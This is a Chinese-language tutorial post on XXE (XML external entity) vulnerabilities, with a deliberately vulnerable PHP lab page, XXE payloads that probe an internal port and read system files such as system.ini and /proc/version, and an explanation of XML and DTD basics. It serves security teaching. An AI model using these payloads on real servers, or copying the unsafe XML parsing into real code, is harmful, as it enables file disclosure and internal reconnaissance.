当前位置: 首页 > news >正文

XXE:XML外部实体引入

XXE漏洞

如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞

漏洞利用流程

1.客户端发送xml文件,其中dtd存在恶意的外部实体引用

2.服务器进行解析

3.服务器返回实体引用内容

危害:任意文件读取,系统命令执行

实例

靶场代码[可替换为pikachu靶场]

<head><meta charset=utf-8><title>xxe测试</title>
</head>
<body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form>
</body><?phpdate_default_timezone_set("PRC");if(!empty($_POST['sub'])){ $data= $_POST['data'];$xml = simplexml_load_string($data);print($xml); }
?>

页面效果

1.使用xxe获取服务器端口信息

paylod

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "http://127.0.0.1:3306">]><BookInfo>
&xxe;
</BookInfo>

运行逻辑

  • 当XML文档被一个存在xxe漏洞的XML解析器处理时,解析器会首先解析DTD部分,包括其中的外部实体定义。
  • 然后,解析器会尝试解析xxe实体,根据定义,会向http://127.0.0.1:3306发起请求,尝试获取数据。
  • 如果端口开启,会正常响应,如果关闭页面加载异常

2.任意文件读取

paylod

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "file:///c://windows//system.ini">]><BookInfo>
&xxe;
</BookInfo>

在一些XML解析器中,使用两个斜杠可以确保路径被正确解析,尤其是在跨平台环境中。例如,Windows系统通常使用反斜杠(\)作为路径分隔符,而UNIX/Linux系统使用正斜杠(/)。通过使用两个斜杠,确保路径在不同的操作系统中都能被正确解析。

windows路径:file:///c://windows//system.ini

linux路径:file:///proc/version

XML基础

XML翻译为可扩展的标记语言,与html相比,XML可自定义文档标签,扩展性较强

用途:存储配置文件,数据交换

XML格式要求

XML文档必须有根元素
XML文档必须有关闭标签
XML标签对大小写敏感
XML元素必须被正确的嵌套
XML属性必须加引号

基础XML内容

<?xml version="1.0" encoding="UTF-8"?>
<BookInfo><Book><Title>书名</Title><Author>张三</Author><Publisher>出版社</Publisher><PublicationYear>2024</PublicationYear><ISBN>6226097558881666</ISBN><Genre>类型</Genre><Price>1000</Price><Description>书籍简介</Description></Book><Seller><Id>6222083803003983</Id><Name>李四</Name></Seller>
</BookInfo>

文档构成

文档第一行为xml声明文件描述xml版本及编码信息

<?xml version="1.0" encoding="UTF-8"?>

文档根元素为 <BookInfo> 闭合标签为 </BookInfo>

文档根元素下具有 <Book> 和 <Seller> 子元素

其子元素下,有若干个子元素进行信息的包含。如书籍的,作者[张三],年份,类型。购买者的信息如 序列号和姓名

这些元素构建成了·xml文档对信息进行描述和传递

XML文档规范

当xml文件内容过多时,为防止内容混乱

引入了DTD(文档类型描述)用于声明文档结构

DTD定义了文档结构及元素的规则

DTD构成

DTD主要由一系列关键字构成,这些关键字定义了XML文档的结构和规则

<!DOCTYPE BookInfo [
<!ELEMENT BookInfo (Book, Seller)> <!-- 定义根元素BookInfo,包含Book和Seller两个元素 -->
<!ELEMENT Book (Title, Author, Publisher, PublicationYear, ISBN, Genre, Price, Description)> <!-- 定义Book元素及其子元素 -->
<!ELEMENT Seller (Id, Name)> <!-- 定义Seller元素及其子元素 -->
]>

 1. 文件类型声明 : !DOCTYPE

关键字DOCTYPE 表明此文件根元素为BookInfo

 2.  [...] : 方括号内的部分是DTD的内部子集。包含了元素和属性的定义。

 3. 元素定义:<!ELEMENT BookInfo (Book, Seller)>

关键字ELEMENT 定义元素下有哪些子元素

DTD实体的定义

实体 相当于提前定义的全局变量的值,可在文档中进行引用

实体的定义

关键字:ENTITY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>

内部实体的引用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
<BookInfo>
<name>&name;</name>
</BookInfo>

页面效果

外部实体文件及引用

外部实体文件

<!ENTITY name "xiaoming">

文件引用 

DTD关键字SYSTEM引用本地dtd文件,并使用file进行文件的读取

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY name SYSTEM "file:///D:/test/test.dtd"    >]><BookInfo>
<name>&name;</name>
</BookInfo>

完整的xml文档内容

<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?><!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!-- 外部实体声明 -->
<!ENTITY entity-name SYSTEM "URI/URL"><!-- 第三部分:文档元素 -->
<note><to>Dave</to><from>GiGi</from><head>Reminder</head><body>fish together</body>
</note>

 

 

http://www.lryc.cn/news/404515.html

相关文章:

  • 3D培训大师创新培训体验,加速空调关键组件的高效精准安装
  • PyTorch 深度学习实践-循环神经网络(高级篇)
  • 这才是老板喜欢的电子信息类简历
  • MySQL学习之事务,锁机制
  • 开源知识付费小程序源码 内容付费系统php源码 含完整图文部署教程
  • 时序数据库如何选型?详细指标总结!
  • 【前端】JavaScript入门及实战51-55
  • 【引领未来智造新纪元:量化机器人的革命性应用】
  • 山东航空小程序查询
  • MySQL添加索引时会锁表吗?
  • 算法日记day 16(二叉树的广度优先遍历|反转、对称二叉树)
  • PolarisMesh源码系列--Polaris-Go注册发现流程
  • vue3 vxe-grid修改currentPage,查询数据的时候,从第一页开始查询
  • 电商数据集成之电商商品信息采集系统架构设计||电商API接口
  • Spring Cloud Stream 实现统一消息通信平台
  • uniapp安卓plus原生选择系统文件
  • Go语言 Import导入
  • 一款异次元小清新风格的响应式wordpress个人博客主题
  • 【cocos creator】ts中export的模块管理
  • QT JSON使用实例
  • 浅聊 Three.js 屏幕空间反射SSR-SSRShader
  • Windows图形界面(GUI)-DLG-C/C++ - 月历控件(MonthCalendar)
  • 【Langchain大语言模型开发教程】基于文档问答
  • 大厂面试-基本功
  • RV1103使用rtsp和opencv推流视频到网页端
  • 与Bug较量:Codigger之软件项目体检Software Project HealthCheck来帮忙
  • Git --- Branch Diverged
  • go标准库---net/http服务端
  • Linux文件和目录常用命令
  • 【C++刷题】优选算法——链表